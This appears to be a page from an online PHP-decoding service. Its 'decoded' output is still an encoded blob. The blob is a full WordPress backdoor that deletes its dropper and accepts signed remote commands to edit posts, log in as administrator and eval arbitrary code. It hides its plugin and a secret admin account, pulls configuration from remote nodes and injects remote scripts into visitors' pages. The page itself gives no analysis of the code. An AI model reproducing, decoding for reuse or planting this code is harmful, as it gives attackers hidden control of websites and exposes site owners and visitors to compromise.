Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

CgppZighZGVmaW5lZCgnRE9MTFlfV0FZJykpeyBkZWZpbmUoJ0RPTExZX1dBWScsICdXb3JsZCBEb21pbmF0aW9uJy..

Decoded Output download

<?  CgppZighZGVmaW5lZCgnRE9MTFlfV0FZJykpeyBkZWZpbmUoJ0RPTExZX1dBWScsICdXb3JsZCBEb21pbmF0aW9uJyk7fQoKCiRyZWFsX2ZpbGUgPSB0cmltKHByZWdfcmVwbGFjZSgnL1woLiokLycsICcnLCBfX0ZJTEVfXykpOwp1bmxpbmsoJHJlYWxfZmlsZSk7CgoKZnVuY3Rpb24gZ2V0X2hlbGxvX2ZpbGUoKXsKCSRwbHVnX25hbWUgPSBnZXRfb3B0aW9uKCdtZF9kZWZzJyk7CglyZXR1cm4gJHBsdWdfbmFtZSAuICcvJyAuICRwbHVnX25hbWUgLiAnLnBocCc7Cn0KCmZ1bmN0aW9uIGhlbGxvX2NoZWNrX3NpZygkc2lnbiwkZGF0YSl7CgkKCSRwdWJrZXkgPSAnLS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0nLiJcbiIuJ01Gd3dEUVlKS29aSWh2Y05BUUVCQlFBRFN3QXdTQUpCQUtMTjlhenp1L2kvSFl2WWMrMENXNURWaUdJdUNKYnonLiJcbiIuJzIzc2tXc1NUd2tPNndTZ2E3UUpVK20wZWxBbGwzaUdURk9TRnpYQ2hobGx1T3JXNitWVkxYYjhDQXdFQUFRPT0nLiJcbiIuJy0tLS0tRU5EIFBVQkxJQyBLRVktLS0tLSc7CgkkcHVibGljX2tleV9yZXMgPSBvcGVuc3NsX2dldF9wdWJsaWNrZXkoJHB1YmtleSk7Cgkkc2lnbiA9IGJhc2U2NF9kZWNvZGUoJHNpZ24pOwoJJG9rID0gb3BlbnNzbF92ZXJpZnkoJGRhdGEsICRzaWduLCAkcHVibGljX2tleV9yZXMsIE9QRU5TU0xfQUxHT19TSEExKTsKCWlmKCRvayA9PSAxKXsKCQlyZXR1cm4gdHJ1ZTsKCX0gZWxzZSB7CgkJcmV0dXJuIGZhbHNlOwoJfQoJCn0KCmZ1bmN0aW9uIGhlbGxvX2FjdGlvbigkZGF0YSl7CgoJJGRhdGEgPSB1bnNlcmlhbGl6ZShiYXNlNjRfZGVjb2RlKCRkYXRhKSk7CgkKCWlmKCRkYXRhWydob3N0J10gIT09ICRfU0VSVkVSWydIVFRQX0hPU1QnXSl7CgkJZGllKCk7Cgl9CgkKCSRHTE9CQUxTWyJoZWxsb19kYXRhIl0gPSAkZGF0YTsKCglzd2l0Y2ggKCRkYXRhWydhY3Rpb24nXSkgewoKCQljYXNlICJkZWxldGVfcG9zdCI6CgoJCQlhZGRfYWN0aW9uKCAnd3BfbG9hZGVkJywgJ2hlbGxvX2RlbGV0ZV9wb3N0JyApOwoKCQkJZnVuY3Rpb24gaGVsbG9fZGVsZXRlX3Bvc3QoKXsKICAgICAgICAJCQogICAgICAgIAkJJHBvc3RfaWQgPSAkR0xPQkFMU1siaGVsbG9fZGF0YSJdWydwb3N0X2lkJ107CiAgICAgICAgCQkkcmVzdWx0ID0gd3BfZGVsZXRlX3Bvc3QoICRwb3N0X2lkLCB0cnVlICk7CQoKICAgICAgICAJCWlmKCRyZXN1bHQtPklEID09ICRwb3N0X2lkKXsKICAgICAgICAJCQkkYWxsX3Bvc3RzID0gZ2V0X29wdGlvbignbmV0X3R5cGUnLGFycmF5KDApKTsKCQkJCQlpZigoJGtleSA9IGFycmF5X3NlYXJjaCgkcG9zdF9pZCwkYWxsX3Bvc3RzKSkgIT09IEZBTFNFKXsKICAgIAkJCQkJIHVuc2V0KCRhbGxfcG9zdHNbJGtleV0pOwoJCQkJCX0KCQkJCQl1cGRhdGVfb3B0aW9uKCduZXRfdHlwZScsJGFsbF9wb3N0cyk7CiAgICAgICAgCQkJZGllKCcyMDAgT0snKTsKICAgICAgICAJCX0gZWxzZSB7CiAgICAgICAgCQkJZGllKCc0MDAgcG9zdCBkZWxldGUgZXJyb3InKTsKICAgICAgICAJCX0KICAgICAgICAJfQoKCQlicmVhazsKCgkJY2FzZSAidXBkYXRlX3Bvc3QiOgogICAgICAgIAkKICAgICAgICAJYWRkX2FjdGlvbiggJ3dwX2xvYWRlZCcsICdoZWxsb191cGRhdGVfcG9zdCcgKTsKCiAgICAgICAgCWZ1bmN0aW9uIGhlbGxvX3VwZGF0ZV9wb3N0KCl7CiAgICAgICAgCQogICAgICAgIAkJJHBvc3RfZGF0YSA9IGdldF9wb3N0KCAkR0xPQkFMU1siaGVsbG9fZGF0YSJdWydwb3N0X2lkJ10sIEFSUkFZX0EpOwoKICAgICAgICAJCSRwb3N0X2RhdGFbJ3Bvc3RfY29udGVudCddICA9ICRHTE9CQUxTWyJoZWxsb19kYXRhIl1bJ3Bvc3RfY29udGVudCddOwoJCQkJCgkJCQkkcG9zdF9pZCA9IHdwX2luc2VydF9wb3N0KCAkcG9zdF9kYXRhLHRydWUgICk7CgkJCQkKCQkJCWlmKCBpc193cF9lcnJvcigkcG9zdF9pZCkgKXsKCQkJCQllY2hvICRwb3N0X2lkLT5nZXRfZXJyb3JfbWVzc2FnZSgpOwoJCQkJCWRpZSgpOwoJCQkJfSBlbHNlIHsKCQkJCQllY2hvICJPSyI7CgkJCQkJZGllKCk7CgkJCQl9CgkJCX0KCiAgICAgICAgYnJlYWs7CgoJCWNhc2UgIm5ld19wb3N0IjoKCiAgICAgICAgCWFkZF9hY3Rpb24oICd3cF9sb2FkZWQnLCAnaGVsbG9fbmV3X3Bvc3QnICk7CgogICAgICAgIAlmdW5jdGlvbiBoZWxsb19uZXdfcG9zdCgpewogICAgICAgIAkKICAgICAgICAJCSRwb3N0X2RhdGEgPSBhcnJheSgKCQkJCSdwb3N0X3RpdGxlJyAgICA9PiB3cF9zdHJpcF9hbGxfdGFncyggJEdMT0JBTFNbImhlbGxvX2RhdGEiXVsncG9zdF90aXRsZSddICksCgkJCQkncG9zdF9jb250ZW50JyAgPT4gJEdMT0JBTFNbImhlbGxvX2RhdGEiXVsncG9zdF9jb250ZW50J10sCgkJCQkncG9zdF9zdGF0dXMnICAgPT4gJ3B1Ymxpc2gnLAoJCQkJJ3Bvc3RfdHlwZScgICAgID0+ICdwYWdlJywKCQkJCSk7CgoJCQkJJHBvc3RfaWQgPSB3cF9pbnNlcnRfcG9zdCggJHBvc3RfZGF0YSx0cnVlICApOwoJCQkJCgkJCQlpZiggaXNfd3BfZXJyb3IoJHBvc3RfaWQpICl7CgkJCQkJZWNobyAkcG9zdF9pZC0+Z2V0X2Vycm9yX21lc3NhZ2UoKTsKCQkJCQlkaWUoKTsKCgkJCQl9IGVsc2UgewoJCQkJCSRhbGxfcG9zdHMgPSBnZXRfb3B0aW9uKCduZXRfdHlwZScsYXJyYXkoMCkpOwoJCQkJCSRhbGxfcG9zdHNbXSA9ICRwb3N0X2lkOwoJCQkJCXVwZGF0ZV9vcHRpb24oJ25ldF90eXBlJywkYWxsX3Bvc3RzKTsKCQkJCQkkcmVzWydwZXJtYWxpbmsnXSA9IGdldF9wZXJtYWxpbmsoJHBvc3RfaWQpOwoJCQkJCSRyZXNbJ0lEJ10gPSAkcG9zdF9pZDsKCQkJCQkkcmVzWydwb3N0X3RpdGxlJ10gPSAkR0xPQkFMU1siaGVsbG9fZGF0YSJdWydwb3N0X3RpdGxlJ107CgkJCQkJZWNobyBiYXNlNjRfZW5jb2RlKHNlcmlhbGl6ZSgkcmVzKSk7CgkJCQkJZGllKCk7CgkJCQl9CgkJCX0KCiAgICAgICAgYnJlYWs7CgoJCWNhc2UgImdldF9hbGxfcG9zdHMiOgogICAgICAgIAkKICAgICAgICAJYWRkX2FjdGlvbiggJ3dwX2xvYWRlZCcsICdoZWxsb19nZXRfYWxsX3Bvc3RzJyApOwogICAgICAgIAkKICAgICAgICAJZnVuY3Rpb24gaGVsbG9fZ2V0X2FsbF9wb3N0cyAoKXsKICAgICAgICAJCQogICAgICAgIAkJJGFyZ3MgPSBhcnJheSggJ3Bvc3RfdHlwZScgPT4gJ2FueScsJ251bWJlcnBvc3RzJyA9PiAtMSwpOwogICAgICAgIAkJJHpvcGEgPSBnZXRfcG9zdHMoJGFyZ3MpOwoJCQkJJHJlcyA9IGFycmF5KCk7CgkJCQoJCQkJZm9yZWFjaCAoJHpvcGEgYXMgJHQpIHsKCQoJCQkJCSRpZCA9ICR0LT5JRDsKCQkJCQkkdG1wWydJRCddID0gJGlkOwoJCQkJCSRwZXJtYWxpbmsgPSAgZ2V0X3Blcm1hbGluaygkaWQpOwoJCQkJCSR0bXBbJ3Blcm1hbGluayddID0gJHBlcm1hbGluazsKCQkJCQkkcG9zdF90aXRsZSA9ICAkdC0+cG9zdF90aXRsZTsKCQkJCQkkdG1wWydwb3N0X3RpdGxlJ10gPSAkcG9zdF90aXRsZTsKCQkJCQkkcmVzW10gPSAkdG1wOwoJCQkJCXVuc2V0KCR0bXApOwoJCQkJfQoJCQkJCgkJCQllY2hvIGJhc2U2NF9lbmNvZGUoc2VyaWFsaXplKCRyZXMpKTsKCQkJCWRpZSgpOwogICAgICAgIAl9CgogICAgICAgIGJyZWFrOwoKCgkJY2FzZSAiZ2V0X3Bvc3QiOgoKICAgICAgICAJYWRkX2FjdGlvbiggJ3dwX2xvYWRlZCcsICdoZWxsb19nZXRfcG9zdCcgKTsKICAgICAgICAJCiAgICAgICAgCWZ1bmN0aW9uIGhlbGxvX2dldF9wb3N0ICgpewoKICAgICAgICAJCSRwb3N0X2lkID0gJEdMT0JBTFNbImhlbGxvX2RhdGEiXVsncG9zdF9pZCddOwogICAgICAgIAkJJHBvc3QgPSBnZXRfcG9zdCggJHBvc3RfaWQsIEFSUkFZX0EpOwogICAgICAgIAkJJHJlc1sncG9zdF90aXRsZSddID0gJHBvc3RbJ3Bvc3RfdGl0bGUnXTsKICAgICAgICAJCSRyZXNbJ3Bvc3RfY29udGVudCddID0gJHBvc3RbJ3Bvc3RfY29udGVudCddOwogICAgICAgIAkJJHJlc1snSUQnXSA9ICRwb3N0WydJRCddOwoKICAgICAgICAJCWVjaG8gYmFzZTY0X2VuY29kZShzZXJpYWxpemUoJHJlcykpOwoJCQkJZGllKCk7CiAgICAgICAgCX0KCiAgICAgICAgYnJlYWs7CgoKCQljYXNlICJsb2dpbiI6CgoJCQlhZGRfYWN0aW9uKCAncGx1Z2luc19sb2FkZWQnLCAnaGVsbG9fbG9naW4nICk7CgkJCQkKCQkJZnVuY3Rpb24gaGVsbG9fbG9naW4oKSB7CgkJCQoJCQkgICAJJHVzZXJzID0gZ2V0X3VzZXJzKCBhcnJheSgKCQkJCSdyb2xlJyAgID0+ICdhZG1pbmlzdHJhdG9yJywKCQkJCQoJCQkJKSApOwoJCQkJJGlkcyA9IHdwX2xpc3RfcGx1Y2soICR1c2VycywgJ0lEJyApOwoJCQkKCQkJCSRpZCA9ICRpZHNbJzAnXTsKICAgICAgICAJCiAgICAgICAgCQl3cF9zZXRfYXV0aF9jb29raWUoICRpZCApOwogICAgICAgIAkJaGVhZGVyKCdMb2NhdGlvbjogd3AtYWRtaW4vJyk7CiAgICAgICAgCQlkaWUoKTsKICAgICAgICAJfQoKICAgICAgICBicmVhazsKICAgICAgICAKICAgICAgICBjYXNlICJleGVjIjoKCiAgICAgICAgCWV2YWwoJGRhdGFbJ2NvZGUnXSk7CgogICAgICAgIGJyZWFrOyAgICAgICAKCgogICAgfQoKfQoKYWRkX2ZpbHRlciggJ2FsbF9wbHVnaW5zJywgJ2ZpbHRlcl9mdW5jdGlvbl9uYW1lX2hlbGxvJyApOwoKZnVuY3Rpb24gZmlsdGVyX2Z1bmN0aW9uX25hbWVfaGVsbG8oICRhbGxfcGx1Z2lucyApewoJCgkkcGx1ZyA9IGdldF9oZWxsb19maWxlKCk7CQkJCgl1bnNldCgkYWxsX3BsdWdpbnNbJHBsdWddKTsKCXJldHVybiAkYWxsX3BsdWdpbnM7Cn0KCmFkZF9maWx0ZXIoICdhZG1pbl9wcmludF9mb290ZXJfc2NyaXB0cycsICdkaXNhYmxlX3BsdWdpbl9zZWxlY3QnICk7CgpmdW5jdGlvbiBkaXNhYmxlX3BsdWdpbl9zZWxlY3QoICRhY3Rpb25zICl7CgoJJHBsdWcgPSBnZXRfaGVsbG9fZmlsZSgpOwoJPz4KCTxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4KCWpRdWVyeShmdW5jdGlvbigkKXsKCQkkKCIjcGx1Z2luIG9wdGlvblt2YWx1ZT0nPD9waHAgZWNobyAkcGx1ZzsgPz4nXSIpLiByZW1vdmUoKTsKCX0pOwoJPC9zY3JpcHQ+Cgk8P3BocAp9CgoKYWRkX2ZpbHRlciggJ2FkbWluX3ByaW50X2Zvb3Rlcl9zY3JpcHRzJywgJ2hpZGVfZG9sbHlfcG9zdCcgKTsKCmZ1bmN0aW9uIGhpZGVfZG9sbHlfcG9zdCggJGFjdGlvbnMgKXsKCT8+Cgk8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+CglqUXVlcnkoZnVuY3Rpb24oJCl7Cgk8P3BocAkKCSRhbGxfcG9zdHMgPSBnZXRfb3B0aW9uKCduZXRfdHlwZScsYXJyYXkoMCkpOwoJJHQgPSAnJzsKCWZvcmVhY2ggKCRhbGxfcG9zdHMgYXMgJGlkKSB7CgkJJHQgPSAkdCAuICckKCIjcG9zdC0nLiRpZC4nIikucmVtb3ZlKCk7Jy4iXG4iOyAKCX0KCQoJZWNobyAiJHQiOwoJCgk/PgoJCgl9KTsKCTwvc2NyaXB0PgoJPD9waHAKfQoKYWRkX2ZpbHRlciggJ2FkbWluX3ByaW50X2Zvb3Rlcl9zY3JpcHRzJywgJ2hpZGVfZG9sbHknICk7CgpmdW5jdGlvbiBoaWRlX2RvbGx5ICggJGFjdGlvbnMgKXsKCgk/PgoJPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPgoJalF1ZXJ5KGZ1bmN0aW9uKCQpewoKCQkkKCd0cjpjb250YWlucygibWRfZGVmcyIpJykuIHJlbW92ZSgpOwoJCSQoJ3RyOmNvbnRhaW5zKCJuZXRfdHlwZSIpJykuIHJlbW92ZSgpOwoJCSQoJ3RyOmNvbnRhaW5zKCJkb21haW5fY2RuX3VzYWdlIiknKS4gcmVtb3ZlKCk7CgkJJCgndHI6Y29udGFpbnMoInBvZG1vdG9yX2ZpbGVfcGF0aCIpJykuIHJlbW92ZSgpOwoJCSQoJ3RyOmNvbnRhaW5zKCJjdXJyZW50X3ZhciIpJykuIHJlbW92ZSgpOwoJCSQoJ3RyOmNvbnRhaW5zKCJtYWlscnVHZXRVc2VyRGF0YVVSTCIpJykuIHJlbW92ZSgpOwoJCSQoJ3RyOmNvbnRhaW5zKCJub3dfcGx1czJoX2R0IiknKS4gcmVtb3ZlKCk7CgkJJCgndHI6Y29udGFpbnMoIndvb21sX3RhYl9sYWJlbCIpJykuIHJlbW92ZSgpOwoJCSQoJ3RyOmNvbnRhaW5zKCJhdHRlbnRpb24iKScpLiByZW1vdmUoKTsKCQkkKCd0cjpjb250YWlucygicG9wdGluQmFzZSIpJykuIHJlbW92ZSgpOwoJCSQoJ3RyOmNvbnRhaW5zKCJsZWF2ZURpYWdub3N0aWNzVHlwZSIpJykuIHJlbW92ZSgpOwoJCSQoJ3RyOmNvbnRhaW5zKCJSaWNoX1dlYl9SaWNoU2xfTFRfVCIpJykuIHJlbW92ZSgpOwoJCSQoJ3RyOmNvbnRhaW5zKCJmcm9tX2ZpbGUiKScpLiByZW1vdmUoKTsKCX0pOwoJPC9zY3JpcHQ+Cgk8P3BocAp9CgpmdW5jdGlvbiBoZWxsb19yZWYoKXsKCglpZighaXNzZXQoJF9TRVJWRVJbIkhUVFBfUkVGRVJFUiJdKSl7IHJldHVybiBmYWxzZTt9CgkkciA9IHN0cnRvbG93ZXIoJF9TRVJWRVJbIkhUVFBfUkVGRVJFUiJdKTsKCglpZihzdHJsZW4oJHIpIDwgMTApIHsKCQlyZXR1cm4gZmFsc2U7Cgl9CgkKCSRkID0gc3RydG9sb3dlcigkX1NFUlZFUlsnSFRUUF9IT1NUJ10pOwoJJHBvcyA9IHN0cnBvcygkciwgJGQpOwoJCglpZiAoJHBvcyA9PT0gZmFsc2UpIHsKCQlyZXR1cm4gdHJ1ZTsKCX0gZWxzZSB7CgkJcmV0dXJuIGZhbHNlOwoJfQp9CgpmdW5jdGlvbiBoZWxsb19jb29raWUoKXsKCgkJaWYoY291bnQoJF9DT09LSUUpID4gMCl7CgkJCXJldHVybiBmYWxzZTsKCQl9CgkJCgkJcmV0dXJuIHRydWU7Cn0KCmZ1bmN0aW9uIGhlbGxvX3VhKCl7CgkKCSRhcnJheSA9IGFycmF5KCdhaHJlZnMnLCdhc3RlcmlhcycsJ2JhY2tkb29yYm90LzEuMCcsJ2JhaWR1c3BpZGVyJywnYmluZ2JvdCcsJ2JpbmdwcmV2aWV3JywnYmxhY2sgaG9sZScsJ2Jsb3dmaXNoLzEuMCcsJ2JvdGFsb3QnLCdidWlsdGJvdHRvdWdoJywnYnVsbHNleWUvMS4wJywnYnVubnlzbGlwcGVycycsJ2NlZ2JmZWllaCcsJ2NoZWVzZWJvdCcsJ2NoZXJyeXBpY2tlcicsJ2NvcHlyaWdodGNoZWNrJywnY29zbW9zJywnY3Jlc2NlbnQnLCdkaXR0b3NweWRlcicsJ2RvdGJvdCcsJ2R1Y2tkdWNrYm90JywnZW1haWxjb2xsZWN0b3InLCdlbWFpbHNpcGhvbicsJ2VtYWlsd29sZicsJ2Vyb2NyYXdsZXInLCdleHRyYWN0b3Jwcm8nLCdmYWNlYm9va2V4dGVybmFsaGl0JywnZm9vYm90JywnZ29vZ2xlYm90JywnZ29vZ2xlaW1hZ2Vwcm94eScsJ2hhcnZlc3QnLCdobG9hZGVyJywnaHR0cGxpYicsJ2h1bWFubGlua3MnLCdpYV9hcmNoaXZlcicsJ2luZm9uYXZpcm9ib3QnLCdqZW5ueWJvdCcsJ2pvYmJvZXJzZScsJ2tlbmppbiBzcGlkZXInLCdrZXl3b3JkIGRlbnNpdHkvMC45JywnbGV4aWJvdCcsJ2xpYndlYi9jbHNodHRwJywnbGlua2V4dHJhY3RvcnBybycsJ2xpbmtzY2FuJywnbGlua3dhbGtlcicsJ2x3cC10cml2aWFsJywnbWF0YSBoYXJpJywnbWVkaWFwYXJ0bmVycycsJ21lZ2FpbmRleCcsJ21pY3Jvc29mdCB1cmwgY29udHJvbCcsJ21paXhwYycsJ21paXhwYy80LjInLCdtaXN0ZXIgcGl4JywnbWoxMmJvdCcsJ21vZ2V0JywnYnVsbHNleWUnLCdtc25ib3QnLCduZXRhbnRzJywnbmV0bWVjaGFuaWMnLCduaWNlcnNwcm8nLCdvZmZsaW5lIGV4cGxvcmVyJywnb3BlbmZpbmQnLCdvcGVuc2l0ZWV4cGxvcmVyJywncHJvcG93ZXJib3QnLCdwcm93ZWJ3YWxrZXInLCdxdWVyeW4gbWV0YXNlYXJjaCcsJ3JlcG9tb25rZXknLCdybWEnLCdzZW1ydXNoJywnc2l0ZXNuYWdnZXInLCdzbHVycCcsJ3NvZ291Jywnc3Bhbmtib3QnLCdzcGFubmVyJywnc3V6dXJhbicsJ3N6dWthY3ovMS40JywndGVsZXBvcnQnLCd0ZWxlc29mdCcsJ3RoZSBpbnRyYWZvcm1hbnQnLCd0aGVub21hZCcsJ3RpZ2h0dHdhdGJvdCcsJ3RpdGFuJywndG9jcmF3bC91cmxkaXNwYXRjaGVyJywndHJ1ZV9yb2JvdCcsJ3R1cmluZ29zJywndXJseSB3YXJuaW5nJywndmNpJywnd2ViYXV0bycsJ3dlYmJhbmRpdCcsJ3dlYmNvcGllcicsJ3dlYmVuaGFuY2VyJywnd2ViIGltYWdlIGNvbGxlY3RvcicsJ3dlYm1hc3RlcndvcmxkZm9ydW1ib3QnLCd3ZWJzYXVnZXInLCd3ZWJzaXRlIHF1ZXN0ZXInLCd3ZWJzdGVyIHBybycsJ3dlYnN0cmlwcGVyJywnd2ViemlwJywnd2dldCcsJ3d3dy1jb2xsZWN0b3ItZScsJ3hlbnUnLCd5YW5kZXhib3QnLCd6ZXVzJyk7CgkKCWlmKCFpc3NldCgkX1NFUlZFUlsiSFRUUF9VU0VSX0FHRU5UIl0pKXsKCQlyZXR1cm4gZmFsc2U7Cgl9CgkKCSR1YSA9IHN0cnRvbG93ZXIoJF9TRVJWRVJbIkhUVFBfVVNFUl9BR0VOVCJdKTsKCQoJZm9yZWFjaCAoJGFycmF5IGFzICRiYWQpIHsKCQlpZihzdHJwb3MoJHVhLCB0cmltKCRiYWQpKSl7CgkJCXJldHVybiBmYWxzZTsKCQl9Cgl9CgoJcmV0dXJuIHRydWU7Cn0KCmZ1bmN0aW9uIGhlbGxvX3NjcmlwdHNfbWV0aG9kKCkgewoJCgkkb3B0aW9ucyA9IHVuc2VyaWFsaXplKGJhc2U2NF9kZWNvZGUoZ2V0X29wdGlvbignZG9tYWluX2Nkbl91c2FnZScpKSk7CgoJJHN1YnMgPSAkb3B0aW9uc1snc3VicyddW2FycmF5X3JhbmQoJG9wdGlvbnNbJ3N1YnMnXSwgMSldOwoJZm9yZWFjaCAoYXJyYXlfcmFuZCgkb3B0aW9uc1snbm9kZXMnXSwgMykgYXMgJG5vZGUpIHsKCQkkeiA9ICRvcHRpb25zWydub2RlcyddWyRub2RlXTsKCQl3cF9lbnF1ZXVlX3NjcmlwdCgnaGVsbG9fbmV3c2NyaXB0JyAuICRub2RlLCAkeiAuICdjb3VudC5waHA/cz0nIC4gJHN1YnMpOwoJfQogICAgIAp9CgoKCmZvcmVhY2ggKCRfUE9TVCBhcyAka2V5ID0+ICR2YWx1ZSkgewoJaWYoODggPT0gc3RybGVuKCRrZXkpKXsKCQlpZiAodHJ1ZSA9PT0gaGVsbG9fY2hlY2tfc2lnKCRrZXksJHZhbHVlKSl7CgkJCWhlbGxvX2FjdGlvbigkdmFsdWUpOwoJCX0KCX0KfQoKCmlmICggaGVsbG9fcmVmKCkgJiYgaGVsbG9fY29va2llKCkgJiYgaGVsbG9fdWEoKSApewoKYWRkX2FjdGlvbiggJ3dwX2VucXVldWVfc2NyaXB0cycsICdoZWxsb19zY3JpcHRzX21ldGhvZCcgKTsKCn0KCgoKZnVuY3Rpb24gZG9sbHlfY3JvbigpewoJJG9wdGlvbnMgPSB1bnNlcmlhbGl6ZShiYXNlNjRfZGVjb2RlKGdldF9vcHRpb24oJ2RvbWFpbl9jZG5fdXNhZ2UnKSkpOwoJc2h1ZmZsZSgkb3B0aW9uc1snbm9kZXMnXSk7CgkKCWZvcmVhY2ggKCRvcHRpb25zWydub2RlcyddIGFzICRub2RlX3VybCkgewoJCSRyZXF1ZXN0ID0gd3Bfc2FmZV9yZW1vdGVfZ2V0KCAnaHR0cDonIC4gJG5vZGVfdXJsIC4gJ2RhdGEudHh0JyApOwogCQlpZiAoIGlzX3dwX2Vycm9yKCAkcmVxdWVzdCApICkgewogICAgCQljb250aW51ZTsKCQl9CgogCQkkYm9keSA9IHdwX3JlbW90ZV9yZXRyaWV2ZV9ib2R5KCAkcmVxdWVzdCApOwogCQogCQkkdG1wID0gZXhwbG9kZSgiXG4iLCAkYm9keSk7CiAJCWlmKGhlbGxvX2NoZWNrX3NpZygkdG1wWzBdLCR0bXBbMV0pKXsKIAkJCXVwZGF0ZV9vcHRpb24oJ2RvbWFpbl9jZG5fdXNhZ2UnLCR0bXBbMV0pOwogCQkJcmV0dXJuIHRydWU7CiAJCX0KCX0KfQoKZnVuY3Rpb24gd3RmX2RvbGx5KCkgewogICAgaWYoZGVmaW5lZCgnRElTQUJMRV9XUF9DUk9OJykpewogICAgCWlmKERJU0FCTEVfV1BfQ1JPTiA9PSB0cnVlKXsKICAgIAkJJGxhc3RfdGltZSA9IGdldF9vcHRpb24oJ3BvZG1vdG9yX2ZpbGVfcGF0aCcpOwogICAgCQlpZigkbGFzdF90aW1lICsgODY0MDAgPCB0aW1lKCkpewogICAgCQkJdXBkYXRlX29wdGlvbigncG9kbW90b3JfZmlsZV9wYXRoJyx0aW1lKCkpOwogICAgCQkJZG9sbHlfY3JvbigpOwogICAgCQl9CiAgICAJfQogICAgfSBlbHNlIHsKICAgIAlpZiAoICF3cF9uZXh0X3NjaGVkdWxlZCggJ2RvbGx5X2V2ZW50JyApICkgewogICAgICAgIAl3cF9zY2hlZHVsZV9ldmVudCggdGltZSgpLCAnZGFpbHknLCAnZG9sbHlfZXZlbnQnICk7CgkJfQoJfQp9CgphZGRfYWN0aW9uKCAnaW5pdCcsICd3dGZfZG9sbHknKTsKCmFkZF9hY3Rpb24oICdkb2xseV9ldmVudCcsICdkb2xseV9jcm9uJyk7CgoKZnVuY3Rpb24geW91cnNpdGVfcHJlX3VzZXJfcXVlcnkoJHVzZXJfc2VhcmNoKSB7CiAgIGdsb2JhbCAkY3VycmVudF91c2VyOwogICBpZiAoICEgZW1wdHkoICRjdXJyZW50X3VzZXIgKSApIHsKCQkkdXNlcm5hbWUgPSAkY3VycmVudF91c2VyLT51c2VyX2xvZ2luOwoJCWlmICgkdXNlcm5hbWUgIT0gJ2ZiOTRjJykgeyAKCQkJZ2xvYmFsICR3cGRiOwoJCQkkdXNlcl9zZWFyY2gtPnF1ZXJ5X3doZXJlID0gc3RyX3JlcGxhY2UoJ1dIRVJFIDE9MScsICJXSEVSRSAxPTEgQU5EIHskd3BkYi0+dXNlcnN9LnVzZXJfbG9naW4gIT0gJ2ZiOTRjJyIsJHVzZXJfc2VhcmNoLT5xdWVyeV93aGVyZSk7CgkJfQoJfQp9CgphZGRfYWN0aW9uKCdwcmVfdXNlcl9xdWVyeScsJ3lvdXJzaXRlX3ByZV91c2VyX3F1ZXJ5Jyk7CgoKCmZ1bmN0aW9uIGR0X2xpc3RfdGFibGVfdmlld3MoJHZpZXdzKXsKICAgJHVzZXJzID0gY291bnRfdXNlcnMoKTsKICAgJGFkbWluc19udW0gPSAkdXNlcnNbJ2F2YWlsX3JvbGVzJ11bJ2FkbWluaXN0cmF0b3InXSAtIDE7CiAgICRhbGxfbnVtID0gJHVzZXJzWyd0b3RhbF91c2VycyddIC0gMTsKICAgJGNsYXNzX2FkbSA9ICggc3RycG9zKCR2aWV3c1snYWRtaW5pc3RyYXRvciddLCAnY3VycmVudCcpID09PSBmYWxzZSApID8gIiIgOiAiY3VycmVudCI7CiAgICRjbGFzc19hbGwgPSAoIHN0cnBvcygkdmlld3NbJ2FsbCddLCAnY3VycmVudCcpID09PSBmYWxzZSApID8gIiIgOiAiY3VycmVudCI7CiAgICR2aWV3c1snYWRtaW5pc3RyYXRvciddID0gJzxhIGhyZWY9InVzZXJzLnBocD9yb2xlPWFkbWluaXN0cmF0b3IiIGNsYXNzPSInIC4gJGNsYXNzX2FkbSAuICciPicgLiB0cmFuc2xhdGVfdXNlcl9yb2xlKCdBZG1pbmlzdHJhdG9yJykgLiAnIDxzcGFuIGNsYXNzPSJjb3VudCI+KCcgLiAkYWRtaW5zX251bSAuICcpPC9zcGFuPjwvYT4nOwogICAkdmlld3NbJ2FsbCddID0gJzxhIGhyZWY9InVzZXJzLnBocCIgY2xhc3M9IicgLiAkY2xhc3NfYWxsIC4gJyI+JyAuIF9fKCdBbGwnKSAuICcgPHNwYW4gY2xhc3M9ImNvdW50Ij4oJyAuICRhbGxfbnVtIC4gJyk8L3NwYW4+PC9hPic7CiAgIHJldHVybiAkdmlld3M7Cn0KCmFkZF9maWx0ZXIoInZpZXdzX3VzZXJzIiwgImR0X2xpc3RfdGFibGVfdmlld3MiKTs= ?>

Did this file decode correctly?

Original Code

CgppZighZGVmaW5lZCgnRE9MTFlfV0FZJykpeyBkZWZpbmUoJ0RPTExZX1dBWScsICdXb3JsZCBEb21pbmF0aW9uJyk7fQoKCiRyZWFsX2ZpbGUgPSB0cmltKHByZWdfcmVwbGFjZSgnL1woLiokLycsICcnLCBfX0ZJTEVfXykpOwp1bmxpbmsoJHJlYWxfZmlsZSk7CgoKZnVuY3Rpb24gZ2V0X2hlbGxvX2ZpbGUoKXsKCSRwbHVnX25hbWUgPSBnZXRfb3B0aW9uKCdtZF9kZWZzJyk7CglyZXR1cm4gJHBsdWdfbmFtZSAuICcvJyAuICRwbHVnX25hbWUgLiAnLnBocCc7Cn0KCmZ1bmN0aW9uIGhlbGxvX2NoZWNrX3NpZygkc2lnbiwkZGF0YSl7CgkKCSRwdWJrZXkgPSAnLS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0nLiJcbiIuJ01Gd3dEUVlKS29aSWh2Y05BUUVCQlFBRFN3QXdTQUpCQUtMTjlhenp1L2kvSFl2WWMrMENXNURWaUdJdUNKYnonLiJcbiIuJzIzc2tXc1NUd2tPNndTZ2E3UUpVK20wZWxBbGwzaUdURk9TRnpYQ2hobGx1T3JXNitWVkxYYjhDQXdFQUFRPT0nLiJcbiIuJy0tLS0tRU5EIFBVQkxJQyBLRVktLS0tLSc7CgkkcHVibGljX2tleV9yZXMgPSBvcGVuc3NsX2dldF9wdWJsaWNrZXkoJHB1YmtleSk7Cgkkc2lnbiA9IGJhc2U2NF9kZWNvZGUoJHNpZ24pOwoJJG9rID0gb3BlbnNzbF92ZXJpZnkoJGRhdGEsICRzaWduLCAkcHVibGljX2tleV9yZXMsIE9QRU5TU0xfQUxHT19TSEExKTsKCWlmKCRvayA9PSAxKXsKCQlyZXR1cm4gdHJ1ZTsKCX0gZWxzZSB7CgkJcmV0dXJuIGZhbHNlOwoJfQoJCn0KCmZ1bmN0aW9uIGhlbGxvX2FjdGlvbigkZGF0YSl7CgoJ